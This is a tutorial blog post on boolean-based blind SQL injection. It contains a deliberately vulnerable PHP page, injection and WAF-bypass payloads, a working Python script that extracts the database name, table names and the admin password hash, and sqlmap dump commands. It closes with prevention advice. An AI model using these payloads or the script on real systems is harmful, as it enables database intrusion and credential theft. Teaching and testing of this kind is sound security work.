Boolean Based Blind SQL Injection
In regular SQL injection, you can see the output. You inject a UNION SELECT, and the data shows up on the page. Easy.
But what happens when the application doesn’t show you anything? No query results. No error messages. No verbose output. Just a page that either loads normally or doesn’t. That’s blind SQL injection — and it’s far more common in real-world applications than the textbook examples.
There are two main types of blind SQLi:
- Boolean-based — You ask true/false questions and observe the page response
- Time-based — You use
SLEEP()to infer answers from response time
In this post, we’re going deep into boolean-based blind SQL injection — how it works, how to extract data character by character, and how to automate the entire process.
The Setup — A Vulnerable Product Page
Imagine a product page with a URL like:
http://victim.com/product.php?id=5
And here’s the backend PHP code:
<?php
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = '$id'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "Product Name: " . $row['name'];
echo "Price: $" . $row['price'];
} else {
echo "No product found.";
}
?>
Two things to notice:
- User input is directly concatenated into the SQL query — classic injection vulnerability
- The page only has two states — either it shows the product, or it says “No product found”
There are no SQL error messages. No raw query output. No UNION SELECT results displayed. The application is vulnerable, but it’s blind.
Confirming the Injection
Before extracting data, we need to confirm that injection is possible and that we can control the query’s boolean outcome.
True Condition
http://victim.com/product.php?id=5' AND 1=1 --
The resulting SQL:
SELECT * FROM products WHERE id = '5' AND 1=1 -- '
1=1 is always true, so the WHERE clause is effectively unchanged. The product page loads normally.
False Condition
http://victim.com/product.php?id=5' AND 1=2 --
The resulting SQL:
SELECT * FROM products WHERE id = '5' AND 1=2 -- '
1=2 is always false. The AND makes the entire WHERE clause false, so no rows are returned. The page shows “No product found.”
We now have two distinct responses:
| Injected Condition | Result | Page Behavior |
|---|---|---|
AND 1=1 (true) |
Query returns rows | Product is displayed |
AND 1=2 (false) |
Query returns nothing | “No product found” |
This is our oracle. We can ask the database any yes/no question, and the page tells us the answer. That’s all we need.
Extracting Data — Character by Character
Here’s where it gets interesting. We can’t see query output directly, but we can ask: “Is the first character of the database name equal to ‘a’?” If the page loads normally — yes. If it shows “No product found” — no. Then we try ‘b’, ‘c’, and so on.
Step 1: Find the Database Name Length
Before guessing characters, let’s figure out how many characters we’re dealing with:
http://victim.com/product.php?id=5' AND LENGTH(database())=1 --
Page shows “No product found.” Length is not 1.
http://victim.com/product.php?id=5' AND LENGTH(database())=2 --
Still “No product found.” Not 2 either.
We keep going:
http://victim.com/product.php?id=5' AND LENGTH(database())=5 --
The product page loads normally. The database name is 5 characters long.
Step 2: Extract the Database Name
Now we extract each character using SUBSTRING():
SUBSTRING(database(), position, length)
First character:
?id=5' AND SUBSTRING(database(),1,1)='a' -- → No product found
?id=5' AND SUBSTRING(database(),1,1)='b' -- → No product found
?id=5' AND SUBSTRING(database(),1,1)='c' -- → No product found
...
?id=5' AND SUBSTRING(database(),1,1)='s' -- → Product loads! ✓
First character is s.
Second character:
?id=5' AND SUBSTRING(database(),2,1)='a' -- → No product found
...
?id=5' AND SUBSTRING(database(),2,1)='h' -- → Product loads! ✓
Second character is h.
We continue for all 5 positions and get: shop1. That’s our database name.
Speeding It Up with ASCII
Instead of guessing every printable character, we can use ASCII() and binary search. ASCII values for lowercase letters range from 97 (a) to 122 (z). Numbers are 48–57. We can use comparison operators to narrow it down fast:
-- Is the ASCII value of the first character greater than 109 ('m')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 109 -- → Product loads (true)
-- Greater than 115 ('s')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 115 -- → No product found (false)
-- Greater than 114 ('r')?
?id=5' AND ASCII(SUBSTRING(database(),1,1)) > 114 -- → Product loads (true)
-- So it's between 115 and 115... it's 115, which is 's'
?id=5' AND ASCII(SUBSTRING(database(),1,1)) = 115 -- → Product loads! ✓
With binary search, we find each character in at most 7 requests instead of potentially 36+ (letters + numbers). For a 5-character database name, that’s ~35 requests instead of ~180. At scale, this difference is massive.
A Complete Extraction — From Database to Data
Let’s walk through the full attack chain — extracting the database name, table names, column names, and finally the actual data.
Extracting Table Names
MySQL’s information_schema database stores metadata about all databases, tables, and columns. We can query it through our injection.
How many tables are in the database?
?id=5' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='shop1')=3 --
If the page loads, there are 3 tables.
First character of the first table name:
?id=5' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='shop1' LIMIT 0,1),1,1)='u' --
Product loads — first table starts with ‘u’.
We continue extracting character by character. Eventually we find the tables: users, products, orders.
Extracting Column Names
Now let’s find the columns in the users table:
?id=5' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_schema='shop1' AND table_name='users' LIMIT 0,1),1,1)='i' --
We extract character by character and find columns: id, username, password, email.
Extracting Actual Data
Now the payload — dump the admin’s password:
-- How long is the first user's password?
?id=5' AND LENGTH((SELECT password FROM users LIMIT 0,1))=32 -- → Product loads!
32 characters — looks like an MD5 hash. Let’s extract it:
?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1)='5' -- → Product loads!
?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),2,1)='f' -- → Product loads!
?id=5' AND SUBSTRING((SELECT password FROM users LIMIT 0,1),3,1)='4' -- → Product loads!
...
32 characters, ~7 requests each with binary search = ~224 requests to extract a full password hash. An automated script runs through that in seconds.
Building a Simple Extraction Script
Let’s see what this looks like automated. Here’s a Python script that extracts data using boolean-based blind SQLi:
import requests
TARGET = "http://victim.com/product.php"
TRUE_INDICATOR = "Product Name:" # Text that appears when condition is true
def inject(payload):
"""Send a request with the injected payload and check if condition is true."""
url = f"{TARGET}?id=5' AND {payload} -- "
response = requests.get(url)
return TRUE_INDICATOR in response.text
def extract_string(query, max_length=50):
"""Extract a string from the database character by character."""
result = ""
# First, find the length
length = 0
for i in range(1, max_length + 1):
if inject(f"LENGTH(({query}))={i}"):
length = i
break
if length == 0:
return None
# Extract each character using binary search
for pos in range(1, length + 1):
low, high = 32, 126 # Printable ASCII range
while low < high:
mid = (low + high) // 2
if inject(f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"):
low = mid + 1
else:
high = mid
result += chr(low)
print(f"[*] Extracted so far: {result}")
return result
# Extract database name
print("[+] Extracting database name...")
db_name = extract_string("SELECT database()")
print(f"[+] Database: {db_name}")
# Extract first table name
print("[+] Extracting first table name...")
table = extract_string(
f"SELECT table_name FROM information_schema.tables "
f"WHERE table_schema='{db_name}' LIMIT 0,1"
)
print(f"[+] First table: {table}")
# Extract admin password
print("[+] Extracting admin password...")
password = extract_string(
"SELECT password FROM users WHERE username='admin' LIMIT 0,1"
)
print(f"[+] Admin password hash: {password}")
Running this produces output like:
[+] Extracting database name...
[*] Extracted so far: s
[*] Extracted so far: sh
[*] Extracted so far: sho
[*] Extracted so far: shop
[*] Extracted so far: shop1
[+] Database: shop1
[+] Extracting first table name...
[*] Extracted so far: u
[*] Extracted so far: us
[*] Extracted so far: use
[*] Extracted so far: user
[*] Extracted so far: users
[+] First table: users
[+] Extracting admin password...
[*] Extracted so far: 5
[*] Extracted so far: 5f
[*] Extracted so far: 5f4
...
[+] Admin password hash: 5f4dcc3b5aa765d61d8327deb882cf99
Each character takes about 7 HTTP requests (binary search over ~95 printable ASCII values). The entire database name extraction takes ~35 requests. A password hash takes ~224 requests. The script runs through all of this in seconds.
Using sqlmap for Boolean-Based Blind SQLi
You don’t always need a custom script. sqlmap handles blind injection beautifully:
# Detect and exploit the injection point
$ sqlmap -u "http://victim.com/product.php?id=5" --technique=B --dbs
# The --technique=B flag tells sqlmap to use boolean-based blind only
# Output:
# [*] available databases [3]:
# [*] information_schema
# [*] mysql
# [*] shop1
# Enumerate tables
$ sqlmap -u "http://victim.com/product.php?id=5" -D shop1 --tables
# Dump the users table
$ sqlmap -u "http://victim.com/product.php?id=5" -D shop1 -T users --dump
sqlmap automatically detects the true/false indicators, optimizes its extraction with binary search, handles encoding, and can even bypass WAFs. Under the hood, it’s doing exactly what our Python script does — just much more robustly.
Real-World Complications
The examples above are clean and straightforward. Real-world applications throw curveballs.
The Response Isn’t Binary
Sometimes the difference between true and false isn’t as clear as “product displayed” vs “no product found.” The page might:
- Show the same content but with a slightly different length
- Return the same HTML but with different headers
- Redirect to different pages
- Show different CSS classes or error codes
You need to identify a reliable indicator — something that consistently differs between true and false responses. It might be a specific string, the response length, the HTTP status code, or even a particular HTML element.
WAF Blocking Your Payloads
Web Application Firewalls might block requests containing keywords like AND, SUBSTRING, SELECT, or comment markers. Common bypasses:
-- Replacing spaces with comments
?id=5'/**/AND/**/1=1/**/--
-- Using alternative syntax
?id=5' AND MID(database(),1,1)='s' -- -- MID() instead of SUBSTRING()
?id=5' AND ORD(MID(database(),1,1))>109 -- -- ORD() instead of ASCII()
-- Case manipulation
?id=5' AnD 1=1 --
-- URL encoding
?id=5'%20AND%201%3D1%20--%20
-- Double URL encoding (if the app decodes twice)
?id=5'%2520AND%25201%253D1%2520--%2520
Numeric Injection Points
Not all injection points are in string contexts. If the parameter is numeric:
-- No quotes needed
?id=5 AND 1=1 --
?id=5 AND ASCII(SUBSTRING(database(),1,1))>109 --
Notice there’s no ' before AND. The id value is used directly as a number in the query, so you don’t need to close a string first.
Filtered Characters
If the application filters specific characters:
-- Single quotes filtered? Use hex encoding
?id=5' AND SUBSTRING(database(),1,1)=0x73 -- -- 0x73 = 's'
-- Commas filtered? Use FROM...FOR syntax
?id=5' AND SUBSTRING(database() FROM 1 FOR 1)='s' --
-- Spaces filtered? Use tabs, newlines, or comments
?id=5'%09AND%091=1%09-- -- %09 is a tab character
Boolean-Based Blind SQLi on Different Databases
The core concept is the same, but the syntax varies across database systems.
MySQL
-- String extraction
SUBSTRING(string, pos, len)
MID(string, pos, len)
-- ASCII value
ASCII(char)
ORD(char)
-- Conditional
IF(condition, true_value, false_value)
PostgreSQL
-- String extraction
SUBSTRING(string FROM pos FOR len)
-- ASCII value
ASCII(char)
-- Conditional
CASE WHEN condition THEN true_value ELSE false_value END
Microsoft SQL Server
-- String extraction
SUBSTRING(string, pos, len)
-- ASCII value
ASCII(char)
-- Conditional
IIF(condition, true_value, false_value) -- SQL Server 2012+
CASE WHEN condition THEN 1 ELSE 0 END
SQLite
-- String extraction
SUBSTR(string, pos, len)
-- ASCII value (SQLite doesn't have ASCII(), use unicode())
UNICODE(char)
-- Conditional
CASE WHEN condition THEN 1 ELSE 0 END
Prevention
Boolean-based blind SQLi is exploited differently than regular SQLi, but the prevention is exactly the same.
Prepared Statements
<?php
// Vulnerable
$query = "SELECT * FROM products WHERE id = '$id'";
// Fixed — parameterized query
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);
$product = $stmt->fetch();
?>
With a prepared statement, the database knows that $id is a value, not SQL code. Even if the attacker sends 5' AND 1=1 --, it’s treated as a literal string — the database looks for a product with that exact ID and finds nothing. No injection.
Input Validation
For a product ID that should always be a number:
$id = intval($_GET['id']); // Forces integer — no injection possible
If the value should be numeric, cast it. Don’t just filter characters. intval("5' AND 1=1 --") returns 5. Problem solved.
Least Privilege
Even if blind SQLi gets through, limit the damage:
- The application’s database user shouldn’t have access to
information_schemaif it doesn’t need it - Use read-only accounts for pages that only display data
- Restrict access to other databases on the same server
Final Thoughts
Boolean-based blind SQL injection is slower and more tedious than regular SQLi, but it’s just as dangerous. The attacker can extract everything — database names, table schemas, user credentials, personal data — it just takes more requests. And with binary search optimization and automation tools like sqlmap, “more requests” means seconds or minutes, not hours.
The key insight is this: any observable difference in the application’s behavior can become an information channel. A different page, a different word, a different response length — that’s enough to extract an entire database, one bit at a time.
The fix hasn’t changed since the 1990s: use prepared statements. Separate your data from your code. It’s that simple.
Stay curious, keep testing.